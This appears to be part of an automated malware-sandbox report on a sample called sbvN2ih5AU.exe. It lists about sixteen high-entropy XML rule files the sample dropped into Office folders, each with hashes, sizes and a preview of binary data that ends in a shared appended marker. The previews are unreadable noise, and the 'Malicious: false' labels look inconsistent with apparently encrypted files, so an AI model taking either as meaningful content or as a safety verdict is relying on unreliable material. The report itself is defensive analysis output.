Preview:	.<?...Sv.r.a...RKP.s.N..C....iJ..:yC..\#.{..}....e.{8+.{..UFe.......\|.....Y(Ov..0..5..8(d.p....+...njM...P.<X....5.^J....\|+8.....\|.....AIr>.u8~Y..$h....T.(.......F.V ..f../...:..V..x.....`..F..vL.2..Av..p..P9.:....U.\E.y..7n.?..H,@0...~.5....8.J..+K..)Ab...[.........(..^..R.}......"."u`Ca.8...9G0....V..L../.Zd..@.=i..+..6......D{+.J.x....M3My.T.....QhC...k........g...(..MQn.....*./.He-.a.#...J(^.T.+.MQ..m.B.'y.B. .mh..p..DFi...I..f..q.....P..H..Kd',..!.{u.b/o.=....FV...4...3\|...O.!...L.\|...B=...A.B.....@...~.DK..\|.h...k3CO...t....$..yU............+LC......{.&.o"..kr..7......c....P)[4....G..76.9TH.....YjM..@..6U....`h..c6..F...kmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.709388162826698
Encrypted:	false
SSDEEP:	24:J9Dk34xnG695ZNPo/EnkaN1/+Y+FCRpiV2bD:XD+sn7ZKaNVeYpiuD
MD5:	6B2586DF5F1542CD703C69CC41C48B32
SHA1:	10F3C8D24916750630E01B7B4C955A112090FB09
SHA-256:	81CB747DBAE5AC2F273D987C5DD4F1C04FD5A12C89D8B143FDD05F7F72E615A4
SHA-512:	5F01957480B38DCDF5086E5B9612261C63662E9BFC0DC839F05D1836C0AD2D65F32BEB7D64459BEB46FA153BD01D5EDA5E1798FD2FE40B8D07FB50741E2D31B6
Malicious:	false
Preview:	.<?.._.6.1.iGN>#...............w....~...$.SH.....TvdS0..z;.v..`.!..+.....G..aMhk...%.%c..%....yP.....N.T..u...h.]Wh.....0.5$MNx. ?.e...V...;2w..@..u3x3........c.}_dK._6u..c,..Jkcp5...'.Dco...t..`Zd...:"1.!Y.@.....X......6y...._../.\.eT;.%...,al.KWg.$.EA.M.av.3lQ.^.%.$.g.... .g%....Y...a.y...i.]..J.".2:.k..Q.0.u".......-F.?..d.Zo...&.B.x?"...KM.9.koTrV..0G.X.lz......'...B.p.<.ek.=L}C....M...-..i..)...p.iD.8....M.....^....g..44/......)...~...YfG.C....\|.Wr>..Jz...X.?.G...S.Pv.S....y....[..M..D.6.u.a.6K..{.)p.....S{....8..?p.$q`...%...\.:T.eq.........%...7t...t..PM..Q^a5.4&.....]QWm2SI-.R4.m..Z..\.5...,N.t!....`Y,.......qG..*..?8`.A...c..P.....r....K.$.IZTx.7.u....S...@.....5...&mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.711565769733411
Encrypted:	false
SSDEEP:	12:PxdxF4di4ZLo1FKBEI56ZBs5nj2MwVpyMjqayX8N9J6KA+tTMSUdNcii9a:PPIdpZ1D5Z5nqVAEY8ECtn2bD
MD5:	6C42A35E479AF4C3865D37EFA009BC66
SHA1:	D255165471C2CB12FB3F03DFF71B80CFADAAFC27
SHA-256:	70D1BD7F8D378F1E5185F2B3B48D3500D508907FD0FCC521A3A5EB912D5B3783
SHA-512:	BD4A56A23B0FDB670B9BB5D72266A13402046796DF47F256F1693405FA4E794EB1AFE7BAE034A233A0963C776536D7CAA9205C8691608EABE9373807F0F0C162
Malicious:	false
Preview:	.<?..VF...?..}.5262n>......h...^.C6FY-.Z..e.......`.h0...1..0q.....,.....&..5c..o..9..o....2..J.......6....{..$..f..Ty.=.r...S\|.W9.=.....5....,H?..Q:.:DkV.h.w"P..P..gLVah.....)X.BS.%..r9....)3....Y....o..a...].f\.S=....n0.W..6...Xp..z..c.R....nE3.U...I.....9.`...}&.GF.k..et`..x.}.z+..9..u.A....g(.J.3.7...m..Y.<9=.....2P.DpVoUd...@....F.!&.kK/.g!8..:"...(..j......6'.t.s7&..hz.}.;0.@....'...0jS......'j...j.d.1.51.....-.oT...T.s..."zI@.>K.7.....:.Y9-....'6G.PaJ.....@.\.z.5 ....TV.....?.X..dX.O.<...%.Oi...R.\|......~.-...#......A*..........r.(.....v.<.........p./..u...{..%.u.....C..%...?.8R..].3gkv9t.3...4.q........C7.yS[.,..,W.. "E...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.77431583053822
Encrypted:	false
SSDEEP:	12:Gz7F2mbt624Ri64VHuNLtf+HeDrJ/zLTOOvPSe6HqZt510aNUeRhJHESUdNcii9a:GXRuxNzP56Hqd1PRhJH72bD
MD5:	F4971B151356D883244A43A321D80408
SHA1:	16CA0047091D7B8A6F2EE609CDE0FB9689574DEC
SHA-256:	1FCEED6A7D9F769111653F120ED51003C6CA2518CB4C613A568DDC50CA54BBDA
SHA-512:	3DCF315BF8AB0309D5F64020EB6E93CC91839579A9B2E90F8B8DE3E3D7A75D4F2A7946AE54514B93B0298A62406EADA67A468387CF20EF39AA7CFF9087BB197C
Malicious:	false
Preview:	.<?x/.....Y.....A.3Q.........xD0.a.`...2Ny\|....y....5...(...r".........~...w.8....3.6.s.....Eg..O.rot].l.....5.q..{.ha..+.X......j.+.s..(..E........=.p6....(.%..8.\........q."..`.a.....s....L_W9..&.1..;......a...+....V.........J3dsF.`.........gm2kOA..Khc ....-p'...%..p.X~\.T.}JH.....i.wJ...+o..S.z.oP..U..U...Q.....w.l....xI..o.8..Q.Q...:........!n..S..\._..Q._...j.\|.t-.......IN.@yU%...._../.a......@`..l..2IaIfN~E.S.{.o.c.r..L..x.Y.-..G.:#.%..L<....`.!.F0.2..eJ\Y..}#5..h'`.......Ga...5.n}#.F..Q.....ysbx^.....$...Ax...WL3.\|..c.......T.h....,...+.Y...N....._......(.F.H...y`.A...xP...Qj....^@..K1.../F.H....W.....D..Ob.1 +.[L..7..?......W.i..<y..........^....a..!"-......w.X..K..y.z.....[X.....f~..gmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.736085335753035
Encrypted:	false
SSDEEP:	12:bKxI8Pd7iDQ78B+qClrNqEuOa5bYr5wiC9wRn7LhtGb6CcL33ikxm1EQu+nElWSw:bKxI8Pd7iDQ7J5ylYr5P2wRBtQ6fL3ip
MD5:	10A9B5A7E9DACB93A1AFBFBBEF9EF583
SHA1:	5E2101F002B1337C1107DED8B7669C53845E4DE3
SHA-256:	BD6F49C91B40834D63A27BE61405F9DB05257EBB85DF19798CA1CDEACF86BD25
SHA-512:	B2008CB784B42CC77656B9FE9175DF92426B2F6B594FC6E64167899DF20F1D3D547F90DD3E7C757836D53D7E9157354B2842F14E02B6EE33ED86205D119106C0
Malicious:	false
Preview:	.<?.C~;g..:/F....1.h..{".E..~Hy......>$...1J.+.p...}..].=.^...'...-"k.:..x=_..a..YL..;..V...f..q....r\....:..6l...l/.b.....s.+...`t...f)j..t...+A^y..[.Z:...@.#.>e.q......Q......{........3.Y.\..t..d.v.Y....-AdS...iu..h.'...$..~.J.....nZ.....v.$.........}.+hE.5..v.`.2.....@4-=...eO..V..q..+j=......y......v..bB?....=.....:.....y......F..x..Qy..J...T0.f....)G....L.b..<~........H_.I.I.........F.Ae.....Q.}......F.....B./..%.D.5O....0.m..F.g...cZ[3..._.....`.e.M.<2..b..ye1.3....~.g.......";3.sv....u.j4.g.....3...)'M.s.n..B.x.k...ss_E]..a.G..c...$..%L.....J.{.7....o.R.U.!..S_.h"a....z.I....^...J.=...=w.Z~._..../...*...........eN...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.72980655628159
Encrypted:	false
SSDEEP:	24:XuGHRIQQ8bxDQ9LRwQlb0HjxNwY0QZZ252bD:XjOQQ8JyeQleNthZZDD
MD5:	5543E056C9D9A8EE55B2E993469475DE
SHA1:	D9984AAFDBB8DB400DBEDB4FD5E81483E2818192
SHA-256:	B9F3E48CD712C9CDC128822EA07F48AC2D7C9950E04812D087FD2A7D94489137
SHA-512:	B9273020EB24959A7A78BA69CF50ACFE01C98F5EF3DD6CC804F91C86CE3014745A543184967BD62C4540EFC8580C79CF81B640F5C45F5E763E31AC8D55C1ED8C
Malicious:	false
Preview:	.<?+...GE..t.k...'{.;=.a..@?...t.Fh!...W..!16>.G.A..l.....-...#._(.g..C...s..z...D..s....N..I.4..k.5.@....-{........\|.qIw.....-7....'@...\<,B..H..?Cq.l....2e.[.#....\V\|..5.....L...I..5$....&....}....w.r..4OO.h.}....{.....M...Z;.G..@...wp.U.JZ..PW.0N5..=.<.Q.6,m..j..j;....9..i.g.+..>.<.s....FT{Y........&.......9k....W.X..&.2....'.....P...6....s..X.b.P@.....k.s.....A.+Aa.G......J.^.=e..3<..s..F.'.`..$)...U.X1U...n..?t.@.Z.....h8.k..3`..).2...8.w.x.8.6...N../..8.\|....n.....M.:Ab.#.r...S.M...x..`.~g.aFi.8..?....).. ...........q....r.?.Z......z.......=).8&._p...\...d7...Fs.C...N.(.......\|..?WD..(&..].G q...kP....=.g..6....Av.h."5..z.+..2.4..R..z.3...A6r$...3.fE...c.V....l...J*..Z=mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.712857612235429
Encrypted:	false
SSDEEP:	12:CjtfGWx/T2nVgOiqThhpW9lA36Wij9vwGd17nwAgz0NB+x3f6SUdNcii9a:MxGiuVg1qVqWij9vT0rQI5f52bD
MD5:	B497ACAAFBD7FB5F0C66BE0F2C5D9845
SHA1:	2DA8FBC3F11E55ECD4CA43E562F93DE993C5E113
SHA-256:	721C9F2E82652882468D9C44F87798222213FF189A6F773A05F2D92E5325D592
SHA-512:	6895EF7567AC910255868D507A60E6DEA4AA32B67AF9E07942F7AA0039CC6300CC6557C79D1582E030C1B5B33DCF2CE757287FBA65AF85F33BF671DE933D0D61
Malicious:	false
Preview:	.<?l..(:a...<0...1.J......#.c.(..S..p...nI..7.V.1Kmg6.9..ML.HP.,1.k..n.....%L[.........mC.....\...y...V1../A.....=. ..o...v.0Y^b.P...7...-...L....m~......+..S../....l...u.\|z.O."p.....Hs%..........k..t&.)@..(...]......O.7..i...L.p..9.f.\|.@..c.B.."c.{..._V.5.B..=.Y7`..........5}B.....b..q.<......S.?.ui..7.v.`.C.[.].X.:.#C........v...'...~.p.."...k.y..)zN.....Ys...4P.]..R.."9.?T9.N.s.+J.\.%H..-%..j}..._....O..Y37$c..d.<.w.m..a.L...28.(..2M.{s...G!.d.Dc.'Ml.+..7..@..]..K....8K.c...B.w.....{...OBN..._/.Y....$..a$...l#;...Y>.0.gX...D5..2.a.Pe7:.i\.K;...W.".H.m.....N.e`.!.....ay(..=CT.N.....S.p.L.....7.Q.:C~....S.L....&.=.&.....n.@...}..r.n8...f2.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.761181672116369
Encrypted:	false
SSDEEP:	12:06oeRZR8wp9iFDm9yNOEi0HmXf34K050aXMZCs01dbsuEiKo7FxApgkOobZISUdV:06M+SOERBB5tMb0vbJd7wYox2bD
MD5:	103317B299B4BBCDFEFA7C5AFED77A5B
SHA1:	BD0CD5416169C09F931E9D1B56119901712EC983
SHA-256:	C393E418FC1E1DDB8B2D9DB3F28E8BD8F55BA283C520034A2D238DE714B7EB10
SHA-512:	6EFDEB7462B833F1FA2634A6FBC8DB5C7BEC154B26876A3584DC218FA20AEA14686B35AD233303CD9EAD2E4A347D952FA9F0D3127A040F92E4E19AFA5385C887
Malicious:	false
Preview:	.<?Cw......0...>..........]._.P.?....f.a.`..Kl...=IC.M.....#..i.;............N....j..j..&o..c).?v..!.C..g\|...j.......8Y.s.a.\|....}ve...rV.m).......n.maL.B\.s.x.i7..GY.r.....Bw...1D.c.Q2....... (2.[h2rg.....z..` ...?sT..~E.&.........L.@VZ.#B%!...=..(...zV>.+f....q.....l..Q....Z.Ve..{.w/Nu..g..K...#...]?O..G.]<....M...Wk..b...z..gm[0......S.j...h....Z.;.:1Bo..IV..+..y.h#M.b.B[:$...j.9}7....6.1}.%Mu.r$bT.Y#.S.....U..T[Z.Q.{.....7...T<.L@<.^B.w..+.m.\|..j4..M.X).T..G........[...rFj..0.....\|....Y...]i.^#..]E.P......b.1.S.lE'.e.A......}..3.....y.pZ.R.....r&.K..B..!l.....*..U..i.9HX.......&{.. .X..2...s...#...y......J..}..n......,....).+.....)..........]...y.o._FN..4....t...0.z#.......n.#O6#.#,..lmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	757
Entropy (8bit):	7.6723709427802635
Encrypted:	false
SSDEEP:	12:WOb8pGl/RwYmyojvbAkuU7nm7eFJUq8jRB3OGvrY7vLH4or8yJbv8I0CqrCOqHtd:WxsVhzrEmCmR9O97v0oIyxv8LBGo2bD
MD5:	22AD10D33B4BF1DD50195B23D5819323
SHA1:	F7AB75B42ED87D19955226874D63A466851EC08D
SHA-256:	4030095896F5F1785FCADA059DBED48CF0689F8A18D643BEC6764CDA5AEC7B48
SHA-512:	77E4590F9FC20B1D7D467E82E86CA8B6401EEDC45EF1018A6F7CFE64F9BEAC40CA597CE417CFA0AF4D1EE824E7C828209D1AC8847F5BFF2AAD161D17C8F0EBB6
Malicious:	false
Preview:	.<?>............0....{."..n.2).-.l..y....9.t.{..,'....I>..1..\......5...O..V!......R..G.g...Q-u.!~...-!......m...{.....>d.....$9.....EK.o......s.AY......_.H......`$......^.l.L4....v.x.M`v.Yt..K.....n.......w$Q...(.c..Rk7X..=+R..z.v..~..7..........'/..ba...Y;....9a.,.m....`..WJ....;..W.....`.3:.}1.......9..[w..&...{a.@6.I...:.._..!2.<i(....sj+G...~);..pR.".tP.T^&dw?".~.M.....?.+.l.."L..,...]..<...ue. .Zs....w.ztX.\|Ma.....0mxS...8.J......G.4.oRp...(.v.L.B..m.....i.r%l......Q(.GG~.g3.g..96...\..];.4E<4Q..H..[.<....}./.5..x.BB.b...$\.}...$..Q>..s...<..$r.~".X~.x?...zI..S.=.6\....U.Aa....K..b>....h....5.j.....t.?...H.7E.[.8.0....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.7590570398038485
Encrypted:	false
SSDEEP:	24:I3x+/HWYGrvp9bim2v9axaL3a5C/syYTEP62bD:I3kKrvpNiMQLCC/rvD
MD5:	A2897A9DDB9D842752B1675A95257A09
SHA1:	BCCF9BEBE5D68A926188D30BEF1075005BAEF760
SHA-256:	62A311FB53EDBB9CB1D27382851FC7D11ED44B80DF94EEEB8C19AA9972280301
SHA-512:	3D0363EA9EB648AD2279150029F0065B6C91F89DA80E412796DF980C8D9BFC040E33B470A19ADE4F3A22B5A5772564D5DACC58F413C4AF3FAFCFDBD409CCF719
Malicious:	false
Preview:	.<?0..^...2$v.sSj.....s.0....8.\|.q..$.~_V....UJ...yY.Q....~S..>K..v..g......'.b..T@y....<..W.......}c5.cLs.\|.y.....c.<K...e.u...'.........~...'TyC...=..,..... .lo.../..!".4J:E.?#.3K@:...h.d.n.CX..:>1cRh.1...n..._v...........`G...o.J)...&....5.".{.ke...RLZ.k..Y.]}.4..J.....)..r4t....S..)k^....P.....U......r.,...={)....,O.<..i.`.l.w8..J.....G[1oTPL5....NW..pr....:W...p\.......G..!h.......f..<.....Ra.y..q.;......f...6..ni...s,.....&^I.....i....W.<.M......Jw.....z.b.w......7....$...JZ[.i.n.K....Y...@.sOQ...].I44.s..Y....U..... ..m......oVF...w..h.i.U.:#..v....5..x...........@.M..z...[...e.....j..'.$G.B7z..@.9j\|).xH.E...._.a**$.[..x.........y7....;...Y.)d...........`..e'x.......~...Q.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.709558336433641
Encrypted:	false
SSDEEP:	12:kqc3cfSwjH1NSJ5tNCbuZOZgAFyd54E3VSnJymy8cyGlfyP6smczSUdNcii9a:kr3cfNvwPNCb5ZH0dCEgnYmvGl6PJmcd
MD5:	FC33EE1CB843B824ED67AA4C65557F34
SHA1:	0F19DA4973650E075F5F657352C3FF4FEA990F23
SHA-256:	A674FF5A26ED36C52C9AC8D2912BF2825A2DF6D7A19D6E564D872CCC47332D1C
SHA-512:	7A992ED4F10F279035BECAAACAABC76379F7CF56B5C74FF29FD288046F1A46B51965857BF0245F691A7C1AAA0ADAD94E63EAA8267979394F9332656809BF3365
Malicious:	false
Preview:	.<?R.;>...7z....D...d..N...q0.W..L-....:...wX6...#.t\|..c._$N...8..]...Y..a.oy.. M.Aw.....8z.C...2.~>.iw..m.\..$.......w...?..\|..)..~..I.M....~A...H...5.:K7VlI7....V...=F0{_. E...-`:..D.t.ggV.mA.Y3.........O.T...........<&.j@6dp^....aV.;.9.\|.a.)..X.......r...iF.c....X..1l..O. E....).....w...kX(.....f....87>+:.;h......a.a..+v.........$y..m..O5........Gz..+.....\|V'........u..OlS.$s....upY.Q....g.m.W...t.....c%......"......rX=...`....g.2.....s+..1V...../....g.....}b) 48s...&."g.n.p\...q;.-_..I..v...P....K.J.Y@......B..(.[\|...1u.$U...3..].uB..#y0\$~u...L...+......mU..P8>.f..HI..[....6@....?..?..YC&.7..h.5B.....-d..w..... .P.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.678811243523835
Encrypted:	false
SSDEEP:	12:BEvg6qLBvYbtJKJhJgcY7dfCmEBnzH344RTsjFyMhC17THKh+eoSUdNcii9a:16u9YyJhJgPtEZLbRgJyouHleP2bD
MD5:	87BAE581758054EC7644CC6BBA1D2C44
SHA1:	5EBB4EEDE784E30BFE7C4268D917D205BF409F6F
SHA-256:	E82F7D86AA03EE324BED9BCA114D290B4C34B1C8A663088D818494C5D34FFD88
SHA-512:	81C4AEECBC3A917D0638CFB309CB1B9DCD96A5ABAEE4FE1AB2EC5A8E1D3BFAAB354560A64EDBC7D7D95D974B6945DF7F6C587D5EAE72499FDB4BE903E16A89A6
Malicious:	false
Preview:	.<?Fi....1&....?....(..OQ...qI..^.....8..<.9..tc.k.j..^.B....Q.-...n..j@...S...g.....C......dB..T.%_.x.-;8..\|..[b....].t.o$'.S..vd..d@.p.....g........[.j..K[E....{..d5..&....6%...^..K.r.A.jg...-..w...;.DgV....~.S....[e...sg.:Jx...-.T../......:.2.lag^.....^...^.G..6.8g...SW.4.a.x.q~Y..%r...?..K..........DDZ.L.3\........ja. 3K.V......7?..P..Y.}..C.._..m^...Q.j...db....o.A.}...67.hz.j...X..z~k..*..e.I...q[......UL.2.=.....N.VZ..`mF{..s.`...kX.&..)."...8......ec:..H.m..7.....W1/0#.....).R..x.1......1.`. ..).HRm.q...U.H..b.VhQ...1..@..DU...U.C........m..n.X7J!...y.m... oKL.&.cl.0.a.X.1..l.R..0l.6I.......X.\|...t...0.b...\|.?@G1-N4............................<..$o..wu.:9...5./.w.o......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	734
Entropy (8bit):	7.6946886375383
Encrypted:	false
SSDEEP:	12:0XFfG+dAmxg3S7XsbviqYjPFAaJwqrLYXuaUkkCj8xYnmuotWSzSUdNcii9a:0XF++Dxgi7XsbqLjvvyQVVinf2WS+2bD
MD5:	EA22D005A3C5F1B381CF8336B45AA0E2
SHA1:	7FB8EDBCB134CF7BC926CF35C48E0EA5A0A231D2
SHA-256:	F4F0102C66CBF50A72D43E3C115FC27CE7893B51CA3D8B0A149929A9A8FB247A
SHA-512:	BA050F4B0F1621546B29273F057555560E37A6C328BE5A486E3E7882DF2D7931512FE1478D167B391C504851CEEE1ADDF876EDA216A377EDD5EE136F7840F9F8
Malicious:	false
Preview:	.<?^...A(.#.....P..#.D..(..>.y..z.@%............?.X.......I..F..[A....3.K.......W.Bik8?.,.n....../.Q..[.t.c.#./@<.^6.PI....+P..G.8..f.4.>..qRH.G..Z.L.........@S..p.9.I...7.X..$'hwu05.....yz....Fjq..m..i...]A..$.#vR..?...qkJ.>......r....R@.......Gw.M.{k..P..\|.G..W~X.^....A....<u.....TY....x..v.)J.n.Z.\|...D....1.......uj6.bu...xx./.^....'U.../.e...t.....w.i.A=.J....G>...... \..3...{...s.....-4...g.)......6nP..5g.h.....MY..&9..R$..C....%:..-.Or.}Xq...=..$e...}.w..:..ug!s.:v. ..#....P..j.+.6...F.]1...B.pL.ED*m..Mq.s..j...._P.^...`.."......F8.~_....9.].+..".D...\.....5.L.3. .u.r..$..E.^.lP<Ze.....O......I...^..v..q...[k/-.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.724225321899205
Encrypted:	false
SSDEEP:	24:1fgLHHDGYLya32UB08bN8ZhE8jjr0TlqjV2bD:RgjHDXLykfva7E8jjraXD
MD5:	00C2CDF995C2735E89B2AE92C0C8B4CC
SHA1:	FA377A0C735BDB3F915BA25F0AA3AF56CF6AE5FC
SHA-256:	C4B66A03B2854682F1CFD0C215BC742FA4DF5B08F3A96B4256D0B37DF5F56256
SHA-512:	C5C4DA78F5CD706040A7B4B9FACC32A4527FA51474660A6DA9ED76B5429459C594A5B91885ED95C086A04AC66D7F5D7FCB13F9ADC902744151DFAB983C0CE48D
Malicious:	false
Preview:	.<?..U.......v.....b.#......g0.&........%.I..E...=....+.....M.....Yx.)/.z...>I...)u s_..Z.F.....Z..6C.....2.8...>...3^o..}.........V....-..H{...uK...\|.!......^-5.5$..y`..G.+.7.c..X Z.%\|...e7....vFT...N....@#!...b.0gd.5.zTJ...]....%..x...d.;..0a6..!..hB.BP....R1... .C..q..&.2..."dp..d.LS z.Ys..#...{L....u{%\..G.Nb.R.v.bO....u-G./p....mw9@....`:..o..M.....2.]u6E.8ECH%}.PM..^...(w2..L^.&.0.._^..N-0...w....`.....i..B.=...M.....-b G..8..$x..O....o....t.l5........4@p..J....y.5..@.........f...c3.y...$.X.......,..1..].H\|$...%.....1v:ST..L#\|..4/.......eB..e.a...2.>Lz3.C.m.i{......./.LX.x.9.:E.#.u..o..... .8Eo6'>..G._Up.7...o.=.1...[F..}.0....ka..C.....USV.Ti.$H{.=..T..D...{..."o.tFF..Mf.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	759
Entropy (8bit):	7.699006973848352
Encrypted:	false
SSDEEP:	12:bHO5nSlGdiHoZiJbQWPE6oArrvVROl4bMyt7wcmZIEKbLvJE7i4Qi4RjIRcFySSw:bHgYGgIAJbw6zrrLbMwRMvKPvGi4d4WQ
MD5:	D24E32B84123A72F6591F17B8811154F
SHA1:	5401BD5AA9D6BFA871D7F6EA4FB029F8208C8B8B
SHA-256:	40EAFD1AA4FF0F999CFF3694561DB81F28AF95DBD7CC3B59419274AB17D47163
SHA-512:	FDC6D713CFB6A1C0D0B4C890D04070C2944F18841BFF099C8F6D3D0BD701FA703BBA8A62208BEDC8C4162B6F0D8EA6BB7DC48D4315ABE5355A4EB9460D63A8FA
Malicious:	false
Preview:	.<?.i.8....%b[6$@d.......,.y...@e...rC..Xq....YoS...k.i.p.EC.W..D......].v.[D.JV:..,.B...wG..,.^V..$.!...37.)..+..#.....b.+>.Q..L..W`....~.e.iK.Uq.....[...$....8..6.R0SP3O....`Q.H..Mk...,FP.%.,M.$&aZ.n.N.~R....g.3L./..&:y..A...!....8.,...j7...:...R9yZ\.r.KNi.\|%\...4.'b.!.w. ...7....=.Ibe....D.`.fD.H$..B...p..2............=.....b..y...(l...k.b.....q.....x.E....+....d..8.#......6.H..d...R..mX0n4..4.2...S..5)...p...e.0...G..:@.........(.....l..P3.%.1.q.....E....~.-.I......N...XN@T[ym$...j.,U..C.d.8..[.......P.]mC..:}.E.S+..U....K/.......r.\...-.9...2=....T30. ..u..\|..J\|Gm...^)4...1.]>..e_.&......:......W.O....b.!-_.)......b(.E..%....x}S.n.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	825
Entropy (8bit):	7.727374925273218
Encrypted:	false
SSDEEP:	12:q0GyIrCmOzOtO/RIw2zWGPoMw3zA8GtWl7cR8SCdt7p94VU3SMv6ZBFvw0we2SSw:Pb2/KsP0F+WpTT7p93wI0O2bD
MD5:	C19CE943E038783D597C9D552D0ED8C9
SHA1:	C591D72A4908C20BBAB928AA05D749E2CAC305FE
SHA-256:	6A64AEBA121F42CDEE738983644A82CDE084ABE2C437B6C5032034A1D1DC6613
SHA-512:	9F1D1CC4164850E2718EAD0C30F83378E46F97C7FCCC628467BFFF39049DD649B844ED10273B5290C92B85E33B08D0B576274FF9A4425AA86864614ED9F283EE
Malicious:	false
Preview:	.<?...(7\.1l.l.D.t_.K.c..<mQ.`.Av..2..Zj...T..SB.1X..<KbA.Gs.0.50B.... y..o..o_(+..S.G....^.U..\.....<..n....%...7..w4..?m..190^........reY:...\.7...../j.D....W.z...i.6...4l...<.u."..=..7D.......V,....DL[C.x-T..A?~.,O&..r=.^&..L...6+/d.}....}^QI.'.U.s..%..c...@...N....T...y...UH5`...4.$."....q.W.......yA...1.s>2,W...N..!_....4.Yg.@~.$Y?...q.&C..,]....&Q.8Jm.7.s%.8X...j}s...&y8.X......FS.2.......k/."2...6$.n.._I..tC.U.0(.....n.[.p@.>.$>z..].(s....nA.i.a.aZ.\|..l..P...3....:......VF....<1..H.0.B.Z2..V....N.y.._.s.T.N...b..8..9+..K]YIft.+.&.5.....u`3!....:..w8h4..p..q....U,)n....XP..M....f1..K8.....s=..&.WO.hy....C.:B..fn.zL\.$.+.W..^Jn.lDrzu._.]7t..v.2{.%.....^..^..$x?..!..j.....B...t+..:{.-.!+W....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

